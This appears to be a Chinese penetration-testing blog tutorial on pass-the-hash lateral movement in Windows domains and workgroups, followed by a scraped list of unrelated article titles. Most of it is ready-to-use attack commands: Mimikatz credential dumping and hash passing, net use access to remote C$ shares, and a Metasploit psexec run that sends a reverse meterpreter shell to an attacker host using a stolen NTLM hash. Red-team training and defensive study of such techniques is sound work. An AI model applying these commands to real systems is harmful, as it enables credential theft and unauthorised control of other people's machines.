当前位置:网站首页>内网渗透 - 哈希传递攻击
内网渗透 - 哈希传递攻击
2022-06-09 05:00:00 【Luckysec】
前言
在内网渗透过程中,当获取到某个管理员用户的密码 hash 值却无法解密时,可以通过哈希传递攻击(Pass The Hash)对内网其他机器进行横向渗透。
0x01 哈希传递攻击
哈希传递攻击(Pass The Hash)是基于 NTLM 认证缺陷的一种攻击方式,攻击者可以利用用户的密码哈希值来进行 NTLM 认证。在域环境中,大量计算机在安装时会使用相同的本地管理员账号和密码。如果计算机的本地管理员账号密码相同,攻击者就能使用哈希传递攻击的手段登录到内网中的其他计算机。
通过哈希传递攻击,攻击者不需要花时间破解密码哈希值来获取明文密码。尤其是在 Windows Server 2012 R2 及之后的版本的操作系统中,默认在内存中不会记录明文密码,因此攻击者往往会使用工具将哈希值传递到其他计算机中进行权限验证,实现对其他远程计算机的控制。
- 哈希传递攻击原理详解:https://www.4hou.com/posts/V0xO
工作组环境:
- Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
- Windows Vista 之后的机器,只能是 Administrator (SID为500)用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非Administrator)也不能使用哈希传递攻击,否则会提示拒绝访问。
域环境:
- 只有域管理员组内用户(可以是域管理员组内非 Administrator 用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域环境内任何一台机器。
- SID 为 500 的账号登录之后以完全管理特权(“完全令牌模式”)运行所有应用程序,管理员组的非 SID 500 账户登录之后是没有过 UAC 的,所有特权都被移除。在一些计算机中,SID为500的账号即使将默认 Administrator 账号改名,也不会影响SID的值。
0x02 Mimikatz
假设你获取到了一台域管理员组内用户登录过的一台机器,并且获取到了这台机器的本地管理员的权限,那么你就可以使用 Mimikatz 工具同时抓取到本地管理员以及域管理员组内用户的密码 NTLM Hash 值。
# 执行 Mimikatz 命令抓取本地密码并保存结果到 Mimikatz.log 文件中
mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords" exit
2.1 域环境
首先使用 Mimikatz 工具获取域管理员组内用户及密码 NTLM Hash 如下:
域环境:LUCKYSEC.CN
域管理员组内用户:LUCKYSEC\admins
域管理员组内用户NTLM hash值:518b98ad4178a53695dc997aa02d455c
由于 Mimikatz 需要管理员权限运行,所以前提需要获取域内任意一台机器的本地管理员权限运行 CMD,然后使用 Mimikatz 对目标机器(10.10.10.10)进行 hash 传递攻击:
# hash传递攻击 Mimikatz 命令格式:
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:域 /ntlm:xxxxxx"
# 使用例子:
mimikatz "privilege::debug" "sekurlsa::pth /user:admins /domain:LUCKYSEC.CN /ntlm:518b98ad4178a53695dc997aa02d455c"
# 建立IPC$连接
net use \\10.10.10.10
# 列出目标机器的C盘文件
dir \\10.10.10.10\c$
执行成功后,会弹出一个新的CMD命令行窗口,在此窗口中即可与目标机器建立 IPC$ 连接成功。

有时候 dir 后面跟 IP 地址会提示用户名或密码错误,可以通过输入目标的主机名解决此问题:
dir \\AD-2016\c$

2.2 工作组环境
首先使用 Mimikatz 工具获取域管理员组内用户及密码 NTLM Hash 如下:
获取本地工作组管理员:Administrator
获取本地工作组管理员密码 NTLM Hash:518b98ad4178a53695dc997aa02d455c
假设目标机器(10.10.10.20)上同样存在 Administrator 密码与攻击者拿下的主机管理员密码相同,那么这两台机器的 NTLM hash 也是相同的,因此可以进行 hash 传递攻击。
# hash传递攻击 Mimikatz 命令格式:
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:目标机器IP /ntlm:xxxxxx"
# 使用例子:
mimikatz "privilege::debug" "sekurlsa::pth /user:Administrator /domain:10.10.10.20 /ntlm:518b98ad4178a53695dc997aa02d455c"
# 建立IPC$连接
net use \\10.10.10.20
# 列出目标机器的C盘文件
dir \\10.10.10.20\c$

0x03 MSF
首先是通过常规的反弹 shell 操作到msf上,通过 run post/windows/gather/hashdump 获取到 LM:NTLM hash 值

3.1 域环境
攻击前提条件:
域环境:LUCKYSEC.CN
域管理员组内用户:admins
域管理员组内用户 LM:NTLM hash 值:aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
hash传递攻击:
msf6 exploit(windows/smb/psexec) > use exploit/windows/smb/psexec
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set lhost 10.10.10.2
lhost => 10.10.10.2
msf6 exploit(windows/smb/psexec) > set rhost 10.10.10.10
rhost => 10.10.10.10
msf6 exploit(windows/smb/psexec) > set smbuser admins
smbuser => admins
msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
smbpass => aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
msf6 exploit(windows/smb/psexec) > exploit

3.2 工作组环境
攻击前提条件:
获取本地工作组管理员:Administrator
获取本地工作组管理员密码 LM:NTLM hash 值:aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
hash 传递攻击:
msf6 > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set lhost 10.10.10.2
lhost => 10.10.10.2
msf6 exploit(windows/smb/psexec) > set rhost 10.10.10.20
rhost => 10.10.10.20
msf6 exploit(windows/smb/psexec) > set smbuser Administrator
smbuser => Administrator
msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
smbpass => aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
msf6 exploit(windows/smb/psexec) > exploit

参考文章
- https://mp.weixin.qq.com/s/T5tJ3GkeNKmyFXyW4CEr1A
- https://cloud.tencent.com/developer/article/1937060
- https://www.cnblogs.com/-qing-/p/11374136.html
边栏推荐
猜你喜欢

application. Properties mysql. cj. jdbc. Driver red

Faster RCNN

CLCNet:用分类置信网络重新思考集成建模(附源代码下载)

Database connection problem, unable to obtain connection after version change

2022 tea artist (intermediate) examination question simulation examination question bank and simulation examination
![[006] [esp32 Development Notes] steps for burning firmware using flash download tool](/img/a0/5d5e6c076d267c0ffe4c1e8f10e408.png)
[006] [esp32 Development Notes] steps for burning firmware using flash download tool

Hengyuan cloud (gpushare)_ Beyond the model of pre training NLP
![[django learning notes - 12]: database operation](/img/d8/2c4b6c036532c213477754b6f9758e.png)
[django learning notes - 12]: database operation

“迪文杯”湖南文理学院电子设计大赛圆满结束

Cmdbuilding搭建简易流程及问题处理
随机推荐
1030. distance sequence matrix cells ●
故障排查:阿里云轻量应用服务器中的MySQL容器自行停止
Transformer裏面的緩存機制
Keepalived configure virtual IP
Latest list of 955 companies that do not work overtime (2022 Edition)
Why do I need a thread pool? What is pooling technology?
Lighting - brightness attenuation of light
渗透测试路径字典、爆破字典
P1743 Audiophobia
Where will the money go in the SaaS industry in 2022?
Marathon环境下fastdfs和vsftpd和miniIo文件服务器搭建的方式
[Django学习笔记 - 12]:数据库操作
Mécanisme de mise en cache dans le transformateur
Pull down the new project code and make it red
Cmdbuilding搭建简易流程及问题处理
Proteus simulation Arduino
2022 safety officer-a certificate examination questions and online simulation examination
Listing of Yubang new material on Shenzhen Stock Exchange: market value of 4.7 billion, net profit deducted in the first quarter decreased by 18%
Why in PHP_ Array (0, ['a','b','c']) returns true
Openstack Learning Series 12: installing CEPH and docking openstack